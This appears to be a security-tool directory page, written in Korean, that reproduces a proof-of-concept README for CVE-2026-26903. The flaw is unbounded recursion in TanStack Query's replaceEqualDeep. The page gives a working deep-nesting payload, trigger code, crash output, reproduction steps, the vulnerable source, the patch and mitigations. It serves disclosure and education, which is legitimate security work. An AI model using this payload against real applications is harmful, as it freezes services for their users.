Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-26903-PoC — CVE-2026-26903을 시연하기 위한 PoC | Kitploit
도구/GitHubGitHub/john-jung/cve-2026-26903-poc
Vulnerability AnalysisExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubjohn-jung/cve-2026-26903-poc

CVE-2026-26903-PoC

CVE-2026-26903을 시연하기 위한 PoC

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-26903 PoC

TanStack Query의 replaceEqualDeep 함수의 무제한 재귀로 인한 서비스 거부(Denial-of-service)

깊게 중첩된 객체가 포함된 단일 조작된 쿼리 업데이트는 JavaScript 스레드를 무기한 정지시켜 애플리케이션 전체가 응답하지 않게 만들 수 있습니다. 인증이나 특별한 권한은 필요하지 않습니다.

영향을 받는 버전

이 취약점은 2026년 1월 14일에 게시된 PR #10032을 통해 @tanstack/[email protected]에서 수정되었습니다.

패키지영향 범위수정 버전
@tanstack/query-core<= 5.90.165.90.17
@tanstack/react-query취약한 query-core에 의존5.90.18+
@tanstack/vue-query취약한 query-core에 의존5.90.18+
@tanstack/solid-query취약한 query-core에 의존5.90.18+
@tanstack/svelte-query취약한 query-core에 의존6.1.7+

공식 설명

CVE-2026-26903: replaceEqualDeep의 무제한 재귀로 인한 서비스 거부(Denial of Service) (심각도: 중간)

TanStack Query의 replaceEqualDeep 함수는 깊이 제한 없이 중첩된 객체를 재귀적으로 비교합니다. 깊게 중첩된 데이터 구조를 처리할 때 무제한 재귀가 트리거되어 스택 오버플로와 애플리케이션 정지를 유발할 수 있습니다.

— MITRE를 통해 배정됨

취약점 요약

TanStack Query의 replaceEqualDeep 함수는 쿼리 데이터가 실제로 변경되었는지 확인하기 위해 내부적으로 사용되며, 가능한 경우 객체 참조를 유지하여 리렌더링을 최적화합니다. 이 함수는 깊은 동등성 비교를 수행하기 위해 객체 속성을 재귀적으로 탐색합니다.

문제점

재귀 구현에는 깊이 제한이나 순환 감지가 없습니다:

root@kitploit:~
function replaceEqualDeep(a, b) {
  // ... type checks ...
  
  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    // ... shallow equality checks ...
    
    // VULNERABLE: Unbounded recursion here
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    // ...
  }
  return copy;
}

공격 메커니즘

  1. 트리거: replaceEqualDeep을 통해 깊게 중첩된 데이터가 전달되는 모든 쿼리 업데이트
  2. 페이로드: 5,000단계 이상 깊이로 중첩된 객체
  3. 영향: 즉각적인 JavaScript 스레드 정지, 완전한 UI 응답 불가
  4. 지속성: 페이지를 새로 고칠 때까지 애플리케이션이 정지 상태 유지

공격 표면

  • 직접적: 중첩된 응답 데이터를 사용하는 useQuery 훅
  • 간접적: setQueryData, invalidateQueries 또는 모든 쿼리 캐시 작업
  • 클라이언트 측: 서버 개입 불필요 — 순수 클라이언트 측 DoS

저장소 구조

root@kitploit:~
CVE-2026-26903-PoC/
├── README.md                 # This file
├── LICENSE
├── poc.js                    # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html   # Browser PoC (interactive visual demo)

재현 단계

1. 클론 및 설정

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC

2. Node.js PoC 실행 (스택 오버플로 크래시)

root@kitploit:~
node poc.js

3. 예상 출력

root@kitploit:~
Testing replaceEqualDeep with deep nesting...
 
Depth: 100
  OK - 0ms
 
Depth: 1000
  OK - 1ms
 
Depth: 5000
  CRASH - Maximum call stack size exceeded
 
Depth: 10000
  CRASH - Maximum call stack size exceeded

4. 브라우저 PoC 실행 (대화형 시각 데모)

root@kitploit:~
open tanstack-query-poc.html
  1. 앱이 응답하는지 확인:
    • 카운터 버튼 클릭
    • 입력 필드에 타이핑
    • 실시간 타이머가 카운트되는지 관찰
  2. DoS 트리거:
    • "TRIGGER DoS (10000 depth) - App Will Freeze" 버튼 클릭
    • 결과: 타이머가 멈추고, 버튼이 응답하지 않으며, 페이지가 정지됨

상세 테스트

옵션 A: 독립 실행형 HTML 데모 (의존성 없음)

root@kitploit:~
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html

옵션 B: React 애플리케이션 (실제 시나리오)

root@kitploit:~
cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions

예상 동작

공격 전:

  • 카운터 버튼이 증가함
  • 실시간 타이머가 매초 업데이트됨
  • 입력 필드가 타이핑에 반응함
  • 모든 UI 상호작용이 정상적으로 작동함

공격 후:

  • 타이머가 현재 값에서 정지함
  • 카운터 버튼이 응답하지 않음
  • 입력 필드가 응답하지 않음
  • 콘솔에 오류가 표시되지 않음 (스레드가 차단되었을 뿐 크래시된 것은 아님)
  • 유일한 해결책: 브라우저 탭/창 새로 고침

익스플로잇 작동 방식

PoC는 깊게 중첩된 객체를 생성하고 replaceEqualDeep이 이를 처리하도록 트리거합니다:

1. 페이로드 생성

root@kitploit:~
function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }

2. 공격 트리거

root@kitploit:~
const oldData = generateDeep(10000);  // 10,000 levels deep
const newData = generateDeep(10000);  // Different object, same structure

// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);

3. 재귀 체인

root@kitploit:~
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested)     // Level 1
    ├── replaceEqualDeep(obj1.nested.nested, ...)  // Level 2
        ├── replaceEqualDeep(...)                   // Level 3
            └── ... (continues for 10,000 levels)

각 재귀 호출은 JavaScript 엔진의 호출 스택이 소진될 때까지 새 스택 프레임을 추가하며, 결국 스레드를 정지시킵니다.

취약한 코드

위치: @tanstack/query-core/src/utils.ts (대략적인 위치)

root@kitploit:~
export function replaceEqualDeep(a, b) {
  if (a === b) {
    return a;
  }

  const array = isPlainArray(a) && isPlainArray(b);

  if (!array && !(isPlainObject(a) && isPlainObject(b))) {
    return b;
  }

  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};

  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];

    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }

    if (
      a[key] === null ||
      b[key] === null ||
      typeof a[key] !== 'object' ||
      typeof b[key] !== 'object'
    ) {
      copy[key] = b[key];
      continue;
    }

    // VULNERABLE: No depth limit or cycle detection
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;

    if (v === a[key]) {
      equalItems++;
    }
  }

  return aSize === bSize && equalItems === aSize ? a : copy;
}

패치

이 수정(TanStack Query 커밋 269351b)은 무제한 재귀를 방지하기 위해 깊이 제한을 추가합니다:

root@kitploit:~
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
   if (a === b) {
     return a
   }
 
+  if (depth > 500) return b
+
   const array = isPlainArray(a) && isPlainArray(b)
 
   if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
   
   // ... middle section unchanged ...
   
-    const v = replaceEqualDeep(aItem, bItem)
+    const v = replaceEqualDeep(aItem, bItem, depth + 1)
     copy[key] = v
     if (v === aItem) equalItems++

주요 변경 사항:

  1. depth 매개변수 추가 — 재귀 깊이를 추적하기 위해 기본값 0으로 추가
  2. 깊이 제한 검사 추가 — depth > 500이면 즉시 b를 반환
  3. 재귀 호출에서 깊이 증가 — replaceEqualDeep(aItem, bItem, depth + 1)

이 간단한 수정은 합리적인 중첩 수준을 허용하면서 스택 오버플로를 방지합니다 (500단계는 실제 데이터 구조에 충분히 넘치는 수준입니다).

완화 조치

임시 대응 방법

  1. TanStack Query에 전달하기 전에 깊게 중첩된 데이터를 평탄화
  2. 깊이 제한이 있는 사용자 정의 비교 함수 구현
  3. 개발 중 쿼리 데이터 복잡도 모니터링

올바른 수정 방법

replaceEqualDeep에 깊이 제한을 구현:

root@kitploit:~
function replaceEqualDeep(a, b, depth = 0) {
  if (depth > MAX_DEPTH) return b; // Prevent deep recursion
  if (a === b) return a;
  
  // ... existing logic ...
  
  const v = replaceEqualDeep(a[key], b[key], depth + 1);
  
  // ... rest of function
}

또는 재귀 대신 반복적 순회를 사용하십시오.

참고 자료

  • GitHub Security Advisory

고지 사항

이 개념 증명(PoC)은 교육 및 공인된 보안 테스트 목적으로만 제공됩니다. 책임감 있게 사용하고, 본인이 소유하거나 테스트할 명시적 권한이 있는 애플리케이션에 대해서만 사용하십시오. 작성자는 이 정보의 오용에 대해 책임을 지지 않습니다.

도구 다운로드